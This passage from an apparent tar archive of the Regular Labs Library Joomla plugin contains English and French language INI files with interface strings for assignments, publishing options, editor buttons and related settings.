RL_RESIZE_IMAGES_TYPE_DESC="Set the type of resizing."
RL_RESIZE_IMAGES_USE_WIDTH_OR_HEIGHT="Set"
RL_RESIZE_IMAGES_USE_WIDTH_OR_HEIGHT_DESC="Select whether to resize images using the maximum width or height."
RL_RESIZE_IMAGES_WIDTH_DESC="Set the width of the resized image in pixels (ie 320)."
RL_RTL="Right-to-Left"
RL_SAVE_CONFIG="After saving the Options it will not pop up on page load anymore."
RL_SEASONS="Seasons"
RL_SEASONS_DESC="Select seasons to assign to."
RL_SELECT="Select"
RL_SELECT_A_CATEGORY="Select a Category"
RL_SELECT_ALL="Select all"
RL_SELECT_AN_ARTICLE="Select an Article"
RL_SELECTED="Selected"
RL_SELECTION="Selection"
RL_SELECTION_DESC="Select whether to include or exclude the selection for the assignment.<br><br><strong>Include</strong><br>Publish only on selection.<br><br><strong>Exclude</strong><br>Publish everywhere except on selection."
RL_SETTINGS_ADMIN_MODULE="Administrator Module Options"
RL_SETTINGS_EDITOR_BUTTON="Editor Button Options"
RL_SETTINGS_SECURITY="Security Options"
RL_SHOW_ASSIGNMENTS="Show Assignments"
RL_SHOW_ASSIGNMENTS_DESC="Select whether to only show the selected assignments. You can use this to get a clean overview of the active assignments."
RL_SHOW_ASSIGNMENTS_SELECTED_DESC="All not-selected assignment types are now hidden from view."
RL_SHOW_COPYRIGHT="Show Copyright"
RL_SHOW_COPYRIGHT_DESC="If selected, extra copyright info will be displayed in the admin views. Regular Labs extensions never show copyright info or backlinks on the frontend."
RL_SHOW_HELP_MENU="Show Help Menu Item"
RL_SHOW_HELP_MENU_DESC="Select to show a link to the Regular Labs website in the Administrator Help menu."
RL_SHOW_ICON="Show Button Icon"
RL_SHOW_ICON_DESC="If selected, the icon will be displayed in the Editor Button."
RL_SHOW_UPDATE_NOTIFICATION="Show Update Notification"
RL_SHOW_UPDATE_NOTIFICATION_DESC="If selected, an update notification will be shown in the main component view when there is a new version for this extension."
RL_SIMPLE="Simple"
RL_SLIDES="Slides"
RL_SOUTHERN="Southern"
RL_SPECIFIC="Specific"
RL_SPRING="Spring"
RL_START="Start"
RL_START_PUBLISHING="Start Publishing"
RL_START_PUBLISHING_DESC="Enter the date to start publishing"
RL_STRIP_SURROUNDING_TAGS="Strip Surrounding Tags"
RL_STRIP_SURROUNDING_TAGS_DESC="Select to always remove html tags (div, p, span) surrounding the plugin tag. If switched off, the plugin will try to remove tags that break the html structure (like p inside p tags)."
RL_STYLING="Styling"
RL_SUMMER="Summer"
RL_TABLE_NOT_FOUND="Required %s database table not found!"
RL_TABS="Tabs"
RL_TAG_CHARACTERS="Tag Characters"
RL_TAG_CHARACTERS_DESC="The surrounding characters of the tag syntax.<br><br><strong>Note:</strong> If you change this, all existing tags will not work anymore."
RL_TAG_SYNTAX="Tag Syntax"
RL_TAG_SYNTAX_DESC="The word to be used in the tags.<br><br><strong>Note:</strong> If you change this, all existing tags will not work anymore."
RL_TAGS="Tags"
RL_TAGS_DESC="Enter the tags to assign to. Use commas to separate the tags."
RL_TEMPLATES="Templates"
RL_TEMPLATES_DESC="Select the templates to assign to."
RL_TEXT="Text"
RL_TEXT_HTML="Text (HTML)"
RL_TEXT_ONLY="Text only"
RL_THIS_EXTENSION_NEEDS_THE_MAIN_EXTENSION_TO_FUNCTION="This extension needs %s to function correctly!"
RL_TIME="Time"
RL_TIME_FINISH_PUBLISHING_DESC="Enter the time to end publishing.<br><br><strong>Format:</strong> 23:59"
RL_TIME_START_PUBLISHING_DESC="Enter the time to start publishing.<br><br><strong>Format:</strong> 23:59"
RL_TOGGLE="Toggle"
RL_TOOLTIP="Tooltip"
RL_TOP="Top"
RL_TOTAL="Total"
RL_TYPES="Types"
RL_TYPES_DESC="Select the types to assign to."
RL_UNSELECT_ALL="Unselect All"
RL_UNSELECTED="Unselected"
RL_UPDATE_TO="Update to version %s"
RL_URL="URL"
RL_URL_PARAM_NAME="Parameter Name"
RL_URL_PARAM_NAME_DESC="Enter the name of the url parameter."
RL_URL_PARTS="URL matches"
RL_URL_PARTS_DESC="Enter (part of) the URLs to match.<br>Use a new line for each different match."
RL_URL_PARTS_REGEX="Url parts will be matched using regular expressions. <strong>So make sure the string uses valid regex syntax.</strong>"
RL_USE_CONTENT_ASSIGNMENTS="For category & article (item) assignments, see the above Joomla! Content section."
RL_USE_CUSTOM_CODE="Use Custom Code"
RL_USE_CUSTOM_CODE_DESC="If selected, the Editor Button will insert the given custom code instead."
RL_USE_SIMPLE_BUTTON="Use Simple Button"
RL_USE_SIMPLE_BUTTON_DESC="Select to use a simple insert button, that simply inserts some example syntax into the editor."
RL_USER_GROUP_LEVELS="User Group Levels"
RL_USER_GROUPS="User Groups"
RL_USER_GROUPS_DESC="Select the user groups to assign to."
RL_USER_IDS="User IDs"
RL_USER_IDS_DESC="Enter the user ids to assign to. Use commas to separate ids."
RL_USERS="Users"
RL_UTF8="UTF-8"
RL_VIDEO="Video"
RL_VIEW="View"
RL_VIEW_DESC="Select what default view should be used when creating a new item."
RL_VIRTUEMART="VirtueMart"
RL_WIDTH="Width"
RL_WINTER="Winter"
RL_ZOO="ZOO"
RL_ZOO_CATEGORIES="ZOO Categories"

;; NO NEED TO TRANSLATE THESE
ADD_TO_MENU="Add to Menu"
ADVANCED_MODULE_MANAGER="Advanced Module Manager"
ADVANCED_TEMPLATE_MANAGER="Advanced Template Manager"
ARTICLES_ANYWHERE="Articles Anywhere"
ARTICLES_FIELD="Articles Field"
BETTER_PREVIEW="Better Preview"
BETTER_TRASH="Better Trash"
CACHE_CLEANER="Cache Cleaner"
CDN_FOR_JOOMLA="CDN for Joomla!"
COMPONENTS_ANYWHERE="Components Anywhere"
CONDITIONAL_CONTENT="Conditional Content"
CONTENT_TEMPLATER="Content Templater"
DB_REPLACER="DB Replacer"
DUMMY_CONTENT="Dummy Content"
EMAIL_PROTECTOR="Email Protector"
REGULAR_LABS_EXTENSION_MANAGER="Regular Labs Extension Manager"
GEOIP="GeoIP"
IP_LOGIN="IP Login"
KEYBOARD_SHORTCUTS="Keyboard Shortcuts"
MODALS="Modals"
MODULES_ANYWHERE="Modules Anywhere"
QUICK_INDEX="Quick Index"
REREPLACER="ReReplacer"
SIMPLE_USER_NOTES="Simple User Notes"
SLIDERS="Sliders"
SNIPPETS="Snippets"
SOURCERER="Sourcerer"
TABS="Tabs"
TOOLTIPS="Tooltips"
WHAT_NOTHING="What? Nothing!"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                system/regularlabs/language/en-GB/en-GB.plg_system_regularlabs.sys.ini                              0000705                 00000001137 15242051521 0022021 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ;; @package         Regular Labs Library
;; @version         19.8.23191
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2019 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate

PLG_SYSTEM_REGULARLABS="System - Regular Labs Library"
PLG_SYSTEM_REGULARLABS_DESC="Regular Labs Library - used by Regular Labs extensions"
REGULAR_LABS_LIBRARY="Regular Labs Library"
                                                                                                                                                                                                                                                                                                                                                                                                                                 system/regularlabs/language/fr-FR/fr-FR.plg_system_regularlabs.sys.ini                              0000705                 00000001245 15242051521 0022071 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ;; @package         Regular Labs Library
;; @version         19.8.23191
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2019 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate

PLG_SYSTEM_REGULARLABS="Système - Regular Labs Library"
PLG_SYSTEM_REGULARLABS_DESC="Le plug-in système Regular Labs Library permet d'intégrer la prise en charge des bibliothèques de scripts Regular Labs."
REGULAR_LABS_LIBRARY="Regular Labs Library"
                                                                                                                                                                                                                                                                                                                                                           system/regularlabs/language/fr-FR/fr-FR.plg_system_regularlabs.ini                                  0000705                 00000103071 15242051521 0021254 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ;; @package         Regular Labs Library
;; @version         19.8.23191
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2019 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate

PLG_SYSTEM_REGULARLABS="Système - Regular Labs Library"
PLG_SYSTEM_REGULARLABS_DESC="Le plug-in système Regular Labs Library permet d'intégrer la prise en charge des bibliothèques de scripts Regular Labs."
REGULAR_LABS_LIBRARY="Regular Labs Library"

REGULAR_LABS_LIBRARY_DESC="[[%1:warning%]]Les extensions Regular Labs ont absolument besoin de ce plug-in pour fonctionner.<br><br>Les extensions Regular Labs concernées sont :[[%2:extensions%]]"
REGULAR_LABS_LIBRARY_DESC_WARNING="Attention, ne désactivez ou ne désinstallez en aucun cas ce plug-in si vous utilisez une extension Regular Labs !"

; COM_CONFIG_RL_ACTIONLOG_FIELDSET_LABEL="User Actions Log"
COM_CONFIG_RL_TAG_SYNTAX_FIELDSET_LABEL="Syntaxe des tags"
COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Description"
COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Description"
COM_PLUGINS_RL_BEHAVIOUR_FIELDSET_LABEL="Comportement"
COM_PLUGINS_RL_DEFAULT_SETTINGS_FIELDSET_LABEL="Paramètres par défaut"
COM_PLUGINS_RL_MEDIA_FIELDSET_LABEL="Média"
COM_PLUGINS_RL_SETTINGS_ADMIN_MODULE_FIELDSET_LABEL="Options du module d'administration"
COM_PLUGINS_RL_SETTINGS_EDITOR_BUTTON_FIELDSET_LABEL="Paramètres du bouton"
COM_PLUGINS_RL_SETTINGS_SECURITY_FIELDSET_LABEL="Paramètres de sécurité"
COM_PLUGINS_RL_SETUP_FIELDSET_LABEL="Configurer"
COM_PLUGINS_RL_STYLING_FIELDSET_LABEL="Styles"
COM_PLUGINS_RL_TAG_SYNTAX_FIELDSET_LABEL="Syntaxe des tags"

; RL_ACCESS_LEVELS="Access Levels"
; RL_ACCESS_LEVELS_DESC="Select the access levels to assign to."
; RL_ACTION_CHANGE_DEFAULT="Change Default"
; RL_ACTION_CHANGE_STATE="Change Publish State"
; RL_ACTION_CREATE="Create"
; RL_ACTION_DELETE="Delete"
RL_ACTION_INSTALL="Installer"
RL_ACTION_UNINSTALL="Désinstaller"
RL_ACTION_UPDATE="Mise à jour"
; RL_ACTIONLOG_EVENTS="Events To Log"
; RL_ACTIONLOG_EVENTS_DESC="Select the actions to include in the User Actions Log."
RL_ADMIN="Admin"
RL_ADVANCED="Avancé"
; RL_AFTER="After"
; RL_AFTER_NOW="After NOW"
RL_AKEEBASUBS="Akeeba Subscriptions"
RL_ALL="TOUS"
RL_ALL_DESC="Le module sera publié si <strong>TOUS</strong> les règlages ci-dessous correspondent."
RL_ALL_RIGHTS_RESERVED="Tous droits réservés"
RL_ALSO_ON_CHILD_ITEMS="Inclure les éléments enfants"
RL_ALSO_ON_CHILD_ITEMS_DESC="Affecter également aux éléments enfants des éléments sélectionnés ?"
; RL_ALSO_ON_CHILD_ITEMS_MENUITEMS_DESC="The child items refer to actual sub-items in the above selection. They do not refer to links on selected pages."
RL_ANY="N'IMPORTE QUEL REGLAGE"
RL_ANY_DESC="Le module sera publié si <strong>N'IMPORTE LEQUEL</strong> des règlages ci-dessous (un ou plusieurs) correspond.<br>Les affectations réglées sur 'Ignore' seront ignorées."
RL_ARE_YOU_SURE="Etes-vous sûr ?"
RL_ARTICLE="Article"
RL_ARTICLE_AUTHORS="Auteurs"
RL_ARTICLE_AUTHORS_DESC="Sélectionnez les auteurs à assigner."
RL_ARTICLES="Articles"
RL_ARTICLES_DESC="Sélectionnez les articles à assigner."
RL_AS_EXPORTED="Comme exportés"
RL_ASSIGNMENTS="Affectations"
RL_ASSIGNMENTS_DESC="En sélectionnant des assignations spécifiques, vous pouvez limiter où ce %s doit/ne doit pas être publié.<br>Pour l'avoir publié sur toutes les pages, ne spécifiez simplement aucune assignation."
RL_AUSTRALIA="Australie"
RL_AUTHORS="Auteurs"
RL_AUTO="Auto"
; RL_BEFORE="Before"
; RL_BEFORE_NOW="Before NOW"
RL_BEHAVIOR="Comportement"
RL_BEHAVIOUR="Comportement"
; RL_BETWEEN="Between"
RL_BOOTSTRAP="Bootstrap"
RL_BOOTSTRAP_FRAMEWORK_DISABLED="Vous avez désactivé l'instanciation du Framework Bootstrap. %s a besoin de ce dernier pour fonctionner. Assurez-vous que votre modèle ou que d'autres extensions chargent les scripts nécessaires pour remplacer la fonctionnalité requise."
RL_BOTH="Les deux"
RL_BOTTOM="Bas"
RL_BROWSERS="Navigateurs"
RL_BROWSERS_DESC="<br>Sélectionnez les navigateurs à affecter.<br>Gardez à l'esprit que la détection du navigateur n'est jamais efficace à 100&#37;, car les utilisateurs peuvent configurer leur navigateur pour imiter un autre navigateur.<br>"
RL_BUTTON_ICON="Icône bouton"
RL_BUTTON_ICON_DESC="Sélectionnez l'icône à afficher dans le bouton."
RL_BUTTON_TEXT="Texte du bouton"
RL_BUTTON_TEXT_DESC="Indiquez dans ce champ le texte à afficher sur le bouton."
RL_CACHE_TIME="Durée du cache"
RL_CACHE_TIME_DESC="Durée maximale en minutes durant laquelle un fichier doit être stocké en cache avant d'être actualisé. Laisser vide pour utiliser le paramètre global."
RL_CATEGORIES="Catégories"
RL_CATEGORIES_DESC="Sélectionnez les catégories à affecter."
RL_CHANGELOG="Changelog"
RL_CLASSNAME="Classe CSS"
RL_COLLAPSE="Réduire"
RL_COM="Composant"
RL_COMBINE_ADMIN_MENU="Combinez Menu Admin"
RL_COMBINE_ADMIN_MENU_DESC="Combiner tous les éléments de Regular Labs dans un seul sous-menu du menu 'Composants' de l'administration."
RL_COMPONENTS="Composants"
RL_COMPONENTS_DESC="Sélectionnez les composants à affecter."
RL_CONTENT="Contenu"
RL_CONTENT_KEYWORDS="Mots clés de contenu"
RL_CONTENT_KEYWORDS_DESC="Indiquez les mots-clés trouvés dans le contenu à attribuer. Utilisez des virgules pour séparer les mots-clés."
RL_CONTINENTS="Continents"
RL_CONTINENTS_DESC="Sélectionnez les continents à assigner"
RL_COOKIECONFIRM="Confirmation de Cookie"
RL_COOKIECONFIRM_COOKIES="Cookies autorisés"
RL_COOKIECONFIRM_COOKIES_DESC="Déterminer si les cookies sont autorisés ou interdits, en fonction de la configuration de Cookie Confirm (par Twentronix) et du choix du visiteur d'accepter ou non les cookies."
RL_COPY_OF="Copie de %s"
RL_COPYRIGHT="Copyright"
RL_COUNTRIES="Pays"
RL_COUNTRIES_DESC="Sélectionnez les pays à assigner"
RL_CSS_CLASS="Classe (CSS)"
RL_CSS_CLASS_DESC="Définir un nom de classe css pour lui attribuer des styles personnalisés."
RL_CURRENT="Courante"
RL_CURRENT_DATE="Date/Heure actuelle : <strong>%s</strong>"
; RL_CURRENT_USER="Current User"
RL_CURRENT_VERSION="Votre version actuelle est %s"
; RL_CUSTOM="Custom"
RL_CUSTOM_CODE="Code personnalisé"
RL_CUSTOM_CODE_DESC="Spécifiez dans le champ ci-contre le code à insérer lors d'un clic sur le 'Simple' bouton (à la place du code par défaut)."
RL_CUSTOM_FIELD="Champ Personnalisé"
RL_CUSTOM_FIELDS="Champs Personnalisés"
RL_DATE="Date"
; RL_DATE_DESC="Select the type of date comparison to assign by."
; RL_DATE_FROM="From"
RL_DATE_RECURRING="Récurrence"
RL_DATE_RECURRING_DESC="Sélectionner afin d'appliquer une plage de dates pour chaque année. (Ainsi, l'année dans la sélection sera ignorée)."
RL_DATE_TIME="Date & heure"
RL_DATE_TIME_DESC="<br><center>Les affectations de date et d'heure utilisent la date et l'heure de votre serveur, et non celle du système du visiteur.</center>"
; RL_DATE_TO="To"
RL_DAYS="Jours de la semaine"
RL_DAYS_DESC="Sélectionnez les jours de la semaine à affecter."
RL_DEFAULT_ORDERING="Ordre par défaut"
RL_DEFAULT_ORDERING_DESC="Définir le classement par défaut de la liste des éléments"
RL_DEFAULT_SETTINGS="Paramètres par défaut"
RL_DEFAULTS="Par défaut"
RL_DEVICE_DESKTOP="Bureau"
RL_DEVICE_MOBILE="Mobile"
RL_DEVICE_TABLET="Tablettes"
; RL_DEVICES="Devices"
; RL_DEVICES_DESC="Select the devices to assign to. Keep in mind that device detection is not always 100&#37; accurate. Users can setup their device to mimic other devices"
RL_DIRECTION="Direction"
RL_DIRECTION_DESC="Sélectionnez la direction"
; RL_DISABLE_ON_ADMIN_COMPONENTS_DESC="Select in which administrator components NOT to enable the use of this extension."
; RL_DISABLE_ON_ALL_COMPONENTS_DESC="Select in which components NOT to enable the use of this extension."
RL_DISABLE_ON_COMPONENTS="Inactif dans les composants"
RL_DISABLE_ON_COMPONENTS_DESC="Sélectionnez les composants pour lesquels la syntaxe du plug-in ne doit pas être prise en charge."
RL_DISPLAY_EDITOR_BUTTON="Afficher le bouton d'édition"
RL_DISPLAY_EDITOR_BUTTON_DESC="Sélectionnez cette option afin d'afficher le bouton d'édition."
RL_DISPLAY_LINK="Mode d'affichage du lien"
RL_DISPLAY_LINK_DESC="Sélectionnez le mode d'affichage du lien."
RL_DISPLAY_TOOLBAR_BUTTON="Afficher le bouton"
RL_DISPLAY_TOOLBAR_BUTTON_DESC="Sélectionnez 'Oui' pour afficher un bouton dans la barre des boutons."
; RL_DISPLAY_TOOLBAR_BUTTONS="Display Toolbar Buttons"
; RL_DISPLAY_TOOLBAR_BUTTONS_DESC="Select to show button(s) in the toolbar."
RL_DISPLAY_TOOLTIP="Afficher la bulle d'aide"
RL_DISPLAY_TOOLTIP_DESC="Sélectionnez cette option pour afficher un Tooltip qui vous donnera des informations supplémentaires lorsque le curseur de votre souris passera par-dessus le lien."
; RL_DYNAMIC_TAG_ARTICLE_ID="The id number of the current article."
; RL_DYNAMIC_TAG_ARTICLE_OTHER="Any other available data from the current article."
; RL_DYNAMIC_TAG_ARTICLE_TITLE="The title of the current article."
RL_DYNAMIC_TAG_COUNTER="Cela positionne le nombre d'occurrences.<br>Si votre recherche obtient des résultats, disons 4, le compteur affichera respectivement 1 à 4."
; RL_DYNAMIC_TAG_DATE="Date using %1$sphp strftime() format%2$s. Example: %3$s"
RL_DYNAMIC_TAG_ESCAPE="Utiliser pour échapper dynamiquement les valeurs (ajoute une barre aux apostrophes)."
; RL_DYNAMIC_TAG_LOWERCASE="Convert text within tags to lowercase."
RL_DYNAMIC_TAG_RANDOM="Un nombre aléatoire dans l'intervalle donné"
; RL_DYNAMIC_TAG_TEXT="A language string to translate into text (based on the active language)"
; RL_DYNAMIC_TAG_UPPERCASE="Convert text within tags to uppercase."
RL_DYNAMIC_TAG_USER_ID="Le numéro d'identification de l'utilisateur"
RL_DYNAMIC_TAG_USER_NAME="Le nom de l'utilisateur"
; RL_DYNAMIC_TAG_USER_OTHER="Any other available data from the user or the connected contact. Example: [[user:misc]]"
RL_DYNAMIC_TAG_USER_TAG_DESC="La balise utilisateur positionne des données de l'utilisateur connecté. Si le visiteur n'est pas connecté, la balise sera supprimée."
RL_DYNAMIC_TAG_USER_USERNAME="Le nom de connexion de l'utilisateur"
RL_DYNAMIC_TAGS="Balises dynamiques"
RL_EASYBLOG="EasyBlog"
RL_ENABLE="Activer"
; RL_ENABLE_ACTIONLOG="Log User Actions"
; RL_ENABLE_ACTIONLOG_DESC="Select to store User Actions. These actions will be visible in the User Actions Log module."
RL_ENABLE_IN="Activer pour"
RL_ENABLE_IN_ADMIN="Activer dans l'administration"
RL_ENABLE_IN_ADMIN_DESC="S'il est activé, le plug-in fonctionnera également dans l'interface d'administration du site.<br>Normalement, vous ne devriez pas en avoir besoin, et cela peut provoquer des dysfonctionnements, comme le ralentissement de l'espace d'administration ou encore des balises du plugin affichées où il ne devrait pas y en avoir."
RL_ENABLE_IN_ARTICLES="Activer dans les articles"
RL_ENABLE_IN_COMPONENTS="Activer dans les composants"
RL_ENABLE_IN_DESC="Choisissez si vous souhaitez activer cette extension en frontal du site, dans l'interface d'administration, ou les deux."
RL_ENABLE_IN_FRONTEND="Activer en frontal du site"
RL_ENABLE_IN_FRONTEND_DESC="Si activé, cette extension sera également disponible en frontal du site."
RL_ENABLE_OTHER_AREAS="Activer dans d'autres zones."
RL_EXCLUDE="Exclure"
RL_EXPAND="Etendre"
RL_EXPORT="Exporter"
; RL_EXPORT_FORMAT="Export Format"
; RL_EXPORT_FORMAT_DESC="Select the file format for the export files."
RL_EXTRA_PARAMETERS="Paramètres supplémentaires"
RL_EXTRA_PARAMETERS_DESC="Indiquez les paramètres supplémentaires qui ne peuvent pas être définis avec les paramètres disponibles."
RL_FALL="Automne"
; RL_FEATURED_DESC="Select to use the feature state in the assignment."
; RL_FEATURES="Features"
; RL_FIELD="Field"
RL_FIELD_NAME="Nom du champ"
RL_FIELD_PARAM_MULTIPLE="Multiple"
; RL_FIELD_PARAM_MULTIPLE_DESC="Allow multiple values to be selected."
RL_FIELD_VALUE="Valeur du champ"
RL_FILES_NOT_FOUND="Les fichiers %s requis n'ont pas été trouvés!"
RL_FILTERS="Filtres"
RL_FINISH_PUBLISHING="Fin de publication"
RL_FINISH_PUBLISHING_DESC="Entrez la date de fin de publication"
; RL_FIX_HTML="Fix HTML"
; RL_FIX_HTML_DESC="Select to let the extension fix any html structure issues it finds. This is often necessary to deal with surrounding html tags.<br><br>Only switch this off if you have issues with this."
RL_FLEXICONTENT="FLEXIcontent"
RL_FOR_MORE_GO_PRO="Pour plus de fonctionnalités, vous pouvez acheter la version PRO."
RL_FORM2CONTENT="Form2Content"
RL_FRAMEWORK_NO_LONGER_USED="La NoNumber Framework ne semble pas être utilisée par d'autres extensions installées. Vous pouvez probablement désactiver ou désinstaller ce plugin en toute sécurité."
RL_FRONTEND="Frontend"
RL_GALLERY="Galerie"
RL_GEO="Géolocalisation"
RL_GEO_DESC="La géolocalisation n'est pas précise à 100&#37;. La géolocalisation est basée sur l'adresse IP du visiteur. Toutes les adresses IP ne sont pas fixes ou connues."
RL_GEO_GEOIP_COPYRIGHT_DESC="Ce produit comprend des données GeoLite2 créées par MaxMind, disponibles à partir de [[%1:link%]]"
RL_GEO_NO_GEOIP_LIBRARY="La bibliothèque Labs Regular GeoIP n'est pas installée. Vous devez [[%1:link start%]]installer la bibliothèque Labs Regular GeoIP[[%2:link end%]] pour utiliser la géolocalisation."
RL_GO_PRO="Passer à la version Pro!"
; RL_HEADING_1="Heading 1"
; RL_HEADING_2="Heading 2"
; RL_HEADING_3="Heading 3"
; RL_HEADING_4="Heading 4"
; RL_HEADING_5="Heading 5"
; RL_HEADING_6="Heading 6"
RL_HEADING_ACCESS_ASC="Par accès ascendant"
RL_HEADING_ACCESS_DESC="Par accès descendant"
RL_HEADING_CATEGORY_ASC="Par catégorie ascendante"
RL_HEADING_CATEGORY_DESC="Par catégorie descendante"
RL_HEADING_CLIENTID_ASC="Par lieu ascendant"
RL_HEADING_CLIENTID_DESC="Par lieu descendant"
RL_HEADING_COLOR_ASC="Par couleur ascendante"
RL_HEADING_COLOR_DESC="Par couleur descendante"
RL_HEADING_DEFAULT_ASC="Par défaut ascendant"
RL_HEADING_DEFAULT_DESC="Par défaut descendant"
RL_HEADING_DESCRIPTION_ASC="Par description ascendante"
RL_HEADING_DESCRIPTION_DESC="Par description descendante"
RL_HEADING_ID_ASC="Par ID ascendant"
RL_HEADING_ID_DESC="Par ID descendant"
RL_HEADING_LANGUAGE_ASC="Par langue ascendant"
RL_HEADING_LANGUAGE_DESC="Par langue descendant"
RL_HEADING_ORDERING_ASC="Par tri ascendant"
RL_HEADING_ORDERING_DESC="Par tri descendant"
RL_HEADING_PAGES_ASC="Par Eléments de menu ascendants"
RL_HEADING_PAGES_DESC="Par Eléments de menus descendants"
RL_HEADING_POSITION_ASC="Par position ascendante"
RL_HEADING_POSITION_DESC="Par position descendante"
RL_HEADING_STATUS_ASC="Par statut ascendant"
RL_HEADING_STATUS_DESC="Par statut descendant"
RL_HEADING_STYLE_ASC="Par style ascendant"
RL_HEADING_STYLE_DESC="Par style descendant"
RL_HEADING_TEMPLATE_ASC="Par template ascendant"
RL_HEADING_TEMPLATE_DESC="Par template descendant"
RL_HEADING_TITLE_ASC="Par titre ascendant"
RL_HEADING_TITLE_DESC="Par titre descendant"
RL_HEADING_TYPE_ASC="Par type ascendant"
RL_HEADING_TYPE_DESC="Par type descendant"
RL_HEIGHT="Hauteur"
RL_HEMISPHERE="Hémisphère"
RL_HEMISPHERE_DESC="Sélectionnez l'hémisphère où se situe votre site"
RL_HIGH="Haute"
RL_HIKASHOP="HikaShop"
RL_HOME_PAGE="Page d'accueil"
RL_HOME_PAGE_DESC="A l'inverse de la sélection de l'élément de la page d'accueil (par défaut) via les éléments de menu, cela ne concernera que la véritable page d'accueil et non les URLs ayant la même ID que l'élément du menu de l'accueil.<br><br>Cela pourrait ne pas fonctionner avec toutes les extensions SEF tierces."
RL_HTML_LINK="<a href=&quot;[[%2:url%]]&quot; target=&quot;_blank&quot; class=&quot;[[%3:class%]]&quot;>[[%1:text%]]</a>"
; RL_HTML_TAGS="HTML Tags"
RL_ICON_ONLY="Icône seul"
RL_IGNORE="Ignorer"
RL_IMAGE="Image"
RL_IMAGE_ALT="Image Alt"
RL_IMAGE_ALT_DESC="valeur Alt de l'image."
RL_IMAGE_ATTRIBUTES="Attributs Image"
RL_IMAGE_ATTRIBUTES_DESC="Attributs supplémentaires de l'image, comme : alt=&quot;Mon image&quot; width=&quot;300&quot;"
RL_IMPORT="Importer"
RL_IMPORT_ITEMS="Importer les éléments."
RL_INCLUDE="Inclure"
; RL_INCLUDE_CHILD_ITEMS="Include child items"
; RL_INCLUDE_CHILD_ITEMS_DESC="Also include child items of the selected items?"
RL_INCLUDE_NO_ITEMID="Inclure les éléments de menu sans ID"
RL_INCLUDE_NO_ITEMID_DESC="Affecter également même si aucune ID d'élément de menu n'est défini dans l'URL ?"
RL_INITIALISE_EVENT="Initialisation sur l'événement"
RL_INITIALISE_EVENT_DESC="Définir l'événement Joomla interne sur lequel le plug-in doit être initialisé. Changer cela seulement si vous rencontrez des problèmes avec le plug-in ou qu'il ne fonctionne pas."
; RL_INPUT_TYPE="Input Type"
; RL_INPUT_TYPE_ALNUM="A string containing A-Z or 0-9 only (not case sensitive)."
; RL_INPUT_TYPE_ARRAY="An array."
; RL_INPUT_TYPE_BOOLEAN="A boolean value."
; RL_INPUT_TYPE_CMD="A string containing A-Z, 0-9, underscores, periods or hyphens (not case sensitive)."
; RL_INPUT_TYPE_DESC="Select an input type:"
; RL_INPUT_TYPE_FLOAT="A floating point number, or an array of floating point numbers."
; RL_INPUT_TYPE_INT="An integer, or an array of integers."
; RL_INPUT_TYPE_STRING="A fully decoded and sanitised string (default)."
; RL_INPUT_TYPE_UINT="An unsigned integer, or an array of unsigned integers."
; RL_INPUT_TYPE_WORD="A string containing A-Z or underscores only (not case sensitive)."
RL_INSERT="Insérer"
; RL_INSERT_DATE_NAME="Insert Date / Name"
RL_IP_RANGES="Adresses IP/Plages"
RL_IP_RANGES_DESC="Liste d'adresses IP et de gammes d'IP séparées par une virgule et/ou un retour à la ligne. Par exemple :<br>127.0.0.1<br>128.0-128.1<br>129"
RL_IPS="Adresses IP"
RL_IS_FREE_VERSION="Ceci est la version GRATUITE de %s."
RL_ITEM="Elément"
RL_ITEM_IDS="Identifiants des éléments"
RL_ITEM_IDS_DESC="Indiquez les identifiants des éléments à assigner. Utilisez un virgules pour les séparer."
RL_ITEMS="Eléments"
RL_ITEMS_DESC="Sélectionnez les articles à assigner."
RL_JCONTENT="Contenu Joomla!"
RL_JED_REVIEW="Vous aimez cette extension? [[%1:start link%]]Laissez un commentaire sur la JED[[%2:end link%]]"
RL_JOOMLA2_VERSION_ON_JOOMLA3="Vous exécutez %1$s pour Joomla 2.5 sur Joomla 3. S'il vous plaît , réinstaller %1$s pour résoudre le problème."
RL_JQUERY_DISABLED="Vous avez désactivé le script jQuery. %s nécessite jQuery pour fonctionner. Assurez-vous que votre template ou d'autres extensions chargent les scripts nécessaires pour remplacer la fonctionnalité requise."
RL_K2="K2"
RL_K2_CATEGORIES="Catégories K2"
RL_LANGUAGE="Langue"
; RL_LANGUAGE_DESC="Select the language to assign to."
RL_LANGUAGES="Langues"
RL_LANGUAGES_DESC="Sélectionnez les langues à affecter."
RL_LAYOUT="Mise en page"
; RL_LAYOUT_DESC="Select the layout to use. You can override this layout in the component or template."
RL_LEVELS="Niveaux"
RL_LEVELS_DESC="Sélectionnez les niveaux à assigner."
RL_LIB="Bibliothèque"
RL_LINK_TEXT="Texte du bouton"
RL_LINK_TEXT_DESC="Indiquez dans ce champ le texte à afficher sur le bouton."
RL_LIST="Liste"
RL_LOAD_BOOTSTRAP_FRAMEWORK="Charger Bootstrap"
RL_LOAD_BOOTSTRAP_FRAMEWORK_DESC="Sélectionnez cet option pour charger le Framework Bootstrap (ensemble qui contient des codes HTML et CSS, des formulaires, boutons, outils de navigation et autres éléments interactifs, ainsi que des extensions JavaScript en option)."
RL_LOAD_JQUERY="Charger le script JQuery"
RL_LOAD_JQUERY_DESC="Sélectionnez cette option pour charger le script natif jQuery. Vous pouvez désactiver cette option si vous rencontrez des conflits avec votre template ou d'autres extensions chargeant leur propre version de jQuery."
RL_LOAD_MOOTOOLS="Charger le Core MooTools"
